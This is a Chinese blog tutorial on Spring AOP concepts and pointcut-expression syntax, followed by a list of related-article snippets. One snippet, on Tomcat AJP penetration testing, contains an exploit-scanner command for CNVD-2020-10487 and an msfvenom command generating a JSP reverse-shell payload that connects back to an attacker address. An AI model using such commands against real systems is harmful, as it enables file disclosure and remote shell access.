SpringAOP_面向切面编程
一、什么是StringAOP
AOP(Aspect-Oriented Programming: 面向切面编程):将那些与业务无关, 却为业务模块所共同调用的逻辑(例如事务处理、日志管理、权限控制等)封装抽取成一个可重用的模块,这个模块被命名为“切面”(Aspect),便于减少系统的重复代码,降低模块间的耦合度,并有利于未来的可拓展性和可维护性;
二、 Spring AOP 基于动态代理实现
○ 如果被代理的对象,已经实现某个接口,则 Spring AOP 会使用 JDK Proxy(反射),基于接口的方式,创建代理对象(JDK动态代理的核心是InvocationHandler接口和Proxy类);
○ 如果被代理的对象,没有实现某个接口,就无法使用 JDK Proxy 去进行代理了,这时候 Spring AOP 会使用 Cglib,基于继承的方式,生成一个被代理对象的子类来作为代理(Cglib动态代理的核心是MethodInterceptor接口和Enhancer类);
三、AOP通知类型
AOP将抽取出来的共性功能称为通知;
通知类型:以通知在上下文中的具体位置作为划分
- 前置通知(Before)
- 返回通知(After-returning)
- 异常通知(After-throwing)
- 后置通知(After)
- 环绕通知(Around)
四、AOP连接点(Join point)
AOP将所有的方法都视为连接点,不管是接口里面的抽象方法,还是实现类里面的重写方法,都是连接点
五、AOP切点(Pointcut)
AOP将可能被抽取共性功能的方法称为切入点。切入点是连接点的子集
六、AOP目标对象(Target)
AOP目标对象 就是挖掉功能的方法对应的类生的对象,这种对象是无法直接完成最终工作的
七、AOP织入(Weaving)
AOP织入 就是将挖掉的功能回填的动态过程
八、AOP切面
AOP切面: 切点+通知
九、SpringAOP+AspectJ实现步骤
1.添加依赖,aop与aspectj表达式的依赖
2.创建spring的主配置文件,bean内的命名空间要添加aop的
3.创建业务代码并编写日志记录代码(事务管理代码)
4.将业务层与日志记录层注入spring容器
5.<aop:config>---aop配置
aop:aspect---aop切面
aop:before---通知内容与通知类型
十、切点表达式配置语法
execution(修饰符 返回值 包名称.类名称.方法名称(参数列表))
eg:
execution(public void com.apesource.service.ServiceImp.findAll())
1.修饰符可以省略代表任意
execution(返回值 包名称.类名称.方法名称(参数列表))
2.返回值可以使用“*”代表任意
execution(* 包名称.类名称.方法名称(参数列表))
3.包名可以使用“*”代表任意名称
execution(* *.*.*.类名称.方法名称(参数列表))
4.包名可以使用“..”代表任意个数
execution(* *...类名称.方法名称(参数列表))
5.类名与方法名可以使用“*”代表任意
execution(* *...*.*(参数列表))
6.参数列表可以使用".."代表任意个数任意类型
execution(* *...*.*(..))
如果有参数
int======>int
String===>java.lang.String
相关文章:
SpringAOP_面向切面编程
一、什么是StringAOP AOP(Aspect-Oriented Programming: 面向切面编程):将那些与业务无关, 却为业务模块所共同调用的逻辑(例如事务处理、日志管理、权限控制等)封装抽取成一个可重用的模块,这个模块被命名为“切面”&…...
芯片bring-up的测试用例
文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1)电源时钟复位测试2)寄存器扫描测试3)单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作,从测试用例…...
vs code编辑区域右键菜单突然变短
今天打开vs code发现鼠标在编辑区域按右键,出来的菜单只显示一小段 显示不全,而之前的样子是 显示很多项,怎么设置回到显示很多项呢?...
如何将TRIZ的“最终理想解”应用到机器人电机控制设计中?
TRIZ理论,作为一套系统的创新方法论,旨在帮助设计师和工程师突破思维惯性,解决复杂的技术难题。其核心思想之一便是“最终理想解”,它如同一盏明灯,指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...
【记录】基于docker部署小熊派BearPi-Pico H3863开发环境
参考:📝 Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...
Elasticsearch 与 OpenSearch:谁才是搜索霸主
Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎,它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据,这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...
WEB渗透-TomcatAjp之LFIRCE
LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...
嵌入式初学-C语言-二一
数组指针 概念:数组指针是指向数组的指针。 特点: 先有数组,后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]; 案例: /** * 数组指针:指向数组的指针 */ #include <…...
2376. 统计特殊整数
Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的,我们称它是 特殊整数 。 给你一个 正 整数 n ,请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...
Python 绘图进阶之核密度估计图:掌握数据分布的秘密
Python 绘图进阶之核密度估计图:掌握数据分布的秘密 引言 在数据分析中,了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图,核密度估计图(Kernel Density Estimation, KDE)提供了一种更为平滑、直观的方…...
设计模式(1)创建型模式和结构型模式
1、目标 本文的主要目标是学习创建型模式和结构型模式,并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式(singleton) 单例模式是创建一个对象保证只有这个类的唯一实例,单例模式分为饿汉式和懒汉式,饿汉式是…...
RuoYi-Vue新建模块
一、环境准备 附:RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中,引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...
Element-UI自学实践
概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案,极大地提升了前端开发的效率和质量。本文为自学实践记录,详细内容见 📚 ElementUI官网 1. 基础组…...
ChatGPT如何工作:创作一首诗的过程
疑问 怎样理解 Chat GPT 的工作原理?比如我让他作一首诗,他是如何创作的呢?每一行诗,每一个字都是怎么来的?随机拼凑的还是从哪里借鉴的? 回答 当你让 ChatGPT 创作一首诗时,它并不是简单地随…...
Linux_Shell变量及运算符-05
一、Shell基础 1.1 什么是shell Shell脚本语言是实现Linux/UNIX系统管理及自W动化运维所必备的重要工具, Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。Shell是一种编程语言, 它像其它编程语言如: C, Java, Python等一样也有变量/函数/运算…...
OpenCV图像滤波(13)均值迁移滤波函数pyrMeanShiftFiltering()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 函数执行均值迁移图像分割的初始步骤。 该函数实现了均值迁移分割的过滤阶段,即输出是经过滤波的“海报化”图像,其中颜色…...
用爬虫技术探索石墨文档:数据自动化处理与个性化应用的创新实践
用爬虫技术探索石墨文档:数据自动化处理与个性化应用的创新实践 在当今这个信息爆炸的时代,文档管理与协作成为了企业运营和个人工作中不可或缺的一部分。石墨文档,作为一款轻量级的云端Office套件,凭借其强大的在线协作、实时同…...
【JavaEE初阶】线程池
目录 📕 引言 🌳 概念 🍀ThreadPoolExecutor 类 🚩 int corePoolSize与int maximumPoolSize: 🚩 long keepAliveTime与TimeUnit nuit: 🚩 BlockingQueue workQueue:…...
zdpgo_cobra_req 新增解析请求体内容
zdpgo_cobra_req 使用Go语言开发的,类似于curl的HTTP客户端请求工具,用于便捷的测试各种HTTP地址 特性 1、帮助文档都是中文的2、支持常见的HTTP请求,比如GET、POST、PUT、DELETE等 下载 git clone https://github.com/zhangdapeng520/z…...
Java聚合快递对接云洋系统快递小程序源码
🌟【一键聚合,高效便捷】快递对接云洋系统小程序全攻略🚀 引言:告别繁琐,拥抱智能快递新时代🔍 在这个快节奏的时代,每一分每一秒都弥足珍贵。你是否还在为手动输入多个快递单号、频繁切换不同…...
实战应用:基于快马平台构建汇率数据获取与移动平均线分析工具
最近在做一个外汇数据分析的小工具,正好用InsCode(快马)平台快速实现了原型。这个工具主要用来监控美元对欧元和日元的汇率变化,并计算移动平均线辅助判断趋势。下面分享下具体实现思路和过程。 数据获取部分 我选择了免费的ExchangeRate-API作为数据源&…...
用JavaScript高效生成专业PPT:PptxGenJS深度解析与5种实战应用
用JavaScript高效生成专业PPT:PptxGenJS深度解析与5种实战应用 【免费下载链接】PptxGenJS Build PowerPoint presentations with JavaScript. Works with Node, React, web browsers, and more. 项目地址: https://gitcode.com/gh_mirrors/pp/PptxGenJS 在数…...
3步掌握TTPLA数据集:从航拍图像到智能电力巡检的完整路径
3步掌握TTPLA数据集:从航拍图像到智能电力巡检的完整路径 【免费下载链接】ttpla_dataset aerial images dataset on transmission towers and power lines 项目地址: https://gitcode.com/gh_mirrors/tt/ttpla_dataset 你是否曾面临这样的困境:…...
基于vue3与pinia构建电商核心模块,快马平台实战演练购物车与商品列表
基于vue3与pinia构建电商核心模块,快马平台实战演练购物车与商品列表 最近在做一个电商项目,需要快速搭建商品展示和购物车功能。经过一番调研,我选择了Vue3 Pinia的组合,配合Vue Router实现页面跳转。整个过程在InsCode(快马)平…...
3步解锁音乐自由:NCMDump让NCM格式转换零门槛
3步解锁音乐自由:NCMDump让NCM格式转换零门槛 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 问题破局篇:被囚禁的音乐,你遇到过吗? 你是否经历过这些尴尬场景:下载了喜欢…...
新手如何践行qoderwork?快马平台带你从零生成首个网页项目
作为一个刚接触编程的新手,想要快速上手做出一个能实际运行的网页项目,往往会遇到各种困难。最近我在学习网页开发时,发现了一个特别适合新手入门的方法——通过InsCode(快马)平台来实践qoderwork理念,今天就分享一下我的经验。 …...
射灯灯具展板安装步骤全揭秘,教程来袭别错过!
在灯具展示中,射灯灯具展板的安装是一项关键工作,它不仅影响着灯具的展示效果,还关系到整个展示空间的美观与实用。今天,我们就来详细揭秘射灯灯具展板的安装步骤,希望能为大家提供一些实用的参考。安装前的准备工作在…...
智能预处理+动态权重:Anything to RealCharacters 2.5D转真人引擎核心技术解析
智能预处理动态权重:Anything to RealCharacters 2.5D转真人引擎核心技术解析 1. 从二次元到三次元:一个引擎的诞生 你有没有想过,自己珍藏的二次元老婆或者某个酷炫的动漫角色,如果变成真人会是什么样子?是五官更立…...
告别MoveIt!用Pinocchio、OMPL和Ruckig手搓一个轻量级机械臂规划模块(附完整C++代码)
轻量级机械臂规划模块:Pinocchio、OMPL与Ruckig的黄金组合 在机器人开发领域,机械臂的运动规划一直是核心挑战之一。传统ROS生态中的MoveIt框架虽然功能全面,但其重型架构和高耦合性往往成为追求高性能和灵活性的开发者的桎梏。本文将带你探索…...
深入解析AdminBSB:Bootstrap 3.x与Material Design完美融合的终极指南
深入解析AdminBSB:Bootstrap 3.x与Material Design完美融合的终极指南 【免费下载链接】AdminBSBMaterialDesign AdminBSB - Free admin panel that is based on Bootstrap 3.x with Material Design 项目地址: https://gitcode.com/gh_mirrors/ad/AdminBSBMateri…...
